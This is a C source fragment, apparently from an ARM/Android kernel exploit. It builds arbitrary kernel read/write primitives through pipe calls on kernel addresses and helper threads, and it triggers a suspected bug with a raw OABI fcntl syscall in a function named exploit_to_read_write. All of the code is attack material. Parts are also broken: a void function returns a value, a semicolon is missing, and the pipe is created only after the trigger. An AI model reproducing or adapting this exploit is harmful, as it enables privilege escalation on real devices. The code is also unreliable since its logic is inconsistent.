struct thread_arg
{
    char * buf;
    size_t size;
};
int rw_pipe[2];
struct thread_arg ta_read, ta_write;
int read_asked = 0, read_done = 0, write_asked = 0, write_done = 0;

void spin(int *lock)
{
    while(!*lock)
        usleep(1000);
}

void *thread_read_pipe(void *arg)
{
    struct thread_arg *a = (struct thread_arg*) arg;
    while(1)
    {
        spin(&read_asked);
        if(read(rw_pipe[0], a->buf, a->size) < a->size)
            syserror("read_rw\n");
        read_asked=0;
        read_done=1;
    }
}

void *thread_write_pipe(void *arg)
{
    struct thread_arg *a = (struct thread_arg*) arg;
    while(1)
    {
        spin(&write_asked);
        if(write(rw_pipe[1], a->buf, a->size) < a->size)
            syserror("write_rw\n");
        write_asked=0;
        write_done=1;
    }
}


int kread(kaddr_t addr,void * buf, size_t size)
{
    if(write(rw_pipe[1], addr, size)<size)
        syserror("write_rw\n");
    read_done = 0;
    ta_read.buf = buf;
    ta_read.size = size;
    read_asked=1;
    spin(&read_done);
    return size;
}

void kwrite(kaddr_t addr, void *buf, size_t size)
{
    size_t ret;
    write_done = 0;
    ta_write.buf = buf;
    ta_write.size = size;
    write_asked = 1;
    spin(&write_done);
    if((ret = read(rw_pipe[0], addr, size))<size)
        syserror("read_rw\n");
    return ret;
}

void try_oabi(int dummy, unsigned long r1, char* aa)
{
        __asm__ volatile("SVC #0x9000dd\n\t");
}


int exploit_to_read_write()
{
    char buf[1000];
    pthread_t tid;
    pthread_create(&tid, NULL, thread_read_pipe,&ta_read);
    pthread_create(&tid, NULL, thread_write_pipe,&ta_write);
    log("calling oabi fcntl...")
    try_oabi(0,36, buf);
    success("Done!");
    if(pipe(rw_pipe) < 0)
    {
        syserror("pipe_rw");
        exit(1);
    }
    return 1;
}